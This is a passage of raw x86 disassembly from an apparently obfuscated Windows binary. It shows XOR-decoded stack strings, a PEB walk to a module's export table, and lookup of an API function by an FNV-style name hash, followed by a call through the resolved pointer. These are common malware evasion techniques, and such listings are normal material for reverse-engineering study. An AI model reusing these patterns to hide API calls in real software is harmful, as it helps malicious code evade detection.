packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x410]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x410], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x40c]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x40c], xmm2
add eax, 8
cmp eax, 0x2c
jl 0x43d951
mov dword [ebp - 0x3a4], edx
cmp edx, 0x2b
jge 0x43da78
mov eax, 0x4d4873ed
imul edx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x3a4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x35
sub cl, al
add cl, 0x37
xor byte [ebp + edx - 0x40c], cl
inc edx
mov dword [ebp - 0x3a4], edx
cmp edx, 0x2b
jl 0x43da41
xorps xmm0, xmm0
mov dword [ebp - 0x3b8], 0
lea ecx, [ebp - 0x40c]
mov dword [ebp - 0x3b4], 0
movups xmmword [ebp - 0x3c8], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43daa0
sub ecx, edx
lea eax, [ebp - 0x40c]
push ecx
push eax
lea ecx, [ebp - 0x3c8]
call fcn.0040e0d0
lea ecx, [ebp - 0x3c8]
mov byte [ebp - 4], 0x16
call fcn.00430690
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x3b4]
cmp ecx, 0xf
jbe 0x43db09
mov edx, dword [ebp - 0x3c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43daff
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dd30
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x3b8], 0
mov dword [ebp - 0x3b4], 0xf
mov byte [ebp - 0x3c8], 0
mov dword [ebp - 0x278], 0x2bc502e6
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x278], 0x2bb66e85
mov dword [ebp - 0x274], 0x679510d5
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x278], 0x98beb99e
mov dword [ebp - 0x274], 0xaf16a950
mov eax, dword [ebp - 0x278]
mov ecx, dword [ebp - 0x274]
movaps xmm1, xmmword [ebp - 0x440]
mov dword [ebp - 0x3b8], eax
mov eax, dword fs:[0x30]
mov dword [ebp - 0x3b4], ecx
xorps xmm1, xmmword [ebp - 0x3c0]
movaps xmmword [ebp - 0x440], xmm1
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x3a4], esi
mov ecx, dword [esi + 0x3c]
mov ecx, dword [ecx + esi + 0x78]
add ecx, esi
mov dword [ebp - 0x3a8], ecx
cmp ecx, esi
je 0x43dc7a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x43dc7a
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, esi
nop dword [eax + eax]
mov edx, dword [ecx - 4]
sub ecx, 4
add edx, esi
mov dword [ebp - 0x274], ecx
dec edi
mov esi, 0x523ec3e1
mov cl, byte [edx]
inc edx
test cl, cl
je 0x43dc6d
nop dword [eax + eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x43dc50
cmp esi, 0x3fd342c0
je 0x43dc7e
mov ecx, dword [ebp - 0x274]
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x43dc30
mov eax, dword [eax]
jmp 0x43dc00
mov esi, dword [ebp - 0x3a8]
mov edx, dword [ebp - 0x3a4]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
lea ecx, [ebp - 0x440]
add eax, edx
push ecx
call eax
cmp dword [ebp - 0x284], 0xf
lea esi, [ebp - 0x298]
lea eax, [ebp - 0x2b8]
cmova esi, dword [ebp - 0x298]
sub esp, 0x14
mov ecx, esp
push eax
call fcn.0040d3d0
mov edx, esi
mov ecx, 0x506c38
call fcn.004332a0
push 0x506c38
call fcn.00443522
mov esi, dword [ebp - 0x264]
add esp, 0x1c
mov eax, dword [esi]
test eax, eax
je 0x43dcf9
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xc
push esi
call fcn.004431bb
mov ecx, dword [ebp - 0x284]
add esp, 8
cmp ecx, 0xf
jbe 0x43dd40
mov edx, dword [ebp - 0x298]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd36
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43dd36
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x2a4]
cmp ecx, 0xf
jbe 0x43dd76
mov edx, dword [ebp - 0x2b8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dd6c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43dda2
push ecx
push edx
call fcn.004431bb
add esp, 8
mov ecx, dword [ebp - 0x2d4]
cmp ecx, 0xf
jbe 0x43ddb2
mov edx, dword [ebp - 0x2e8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43dda8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x43dda8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.004431bb
add esp, 8
lea ecx, [ebp - 0x338]
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d4], 0xf
mov byte [ebp - 0x2e8], 0
call fcn.004036d0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044317d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00401690
call fcn.00401690
int3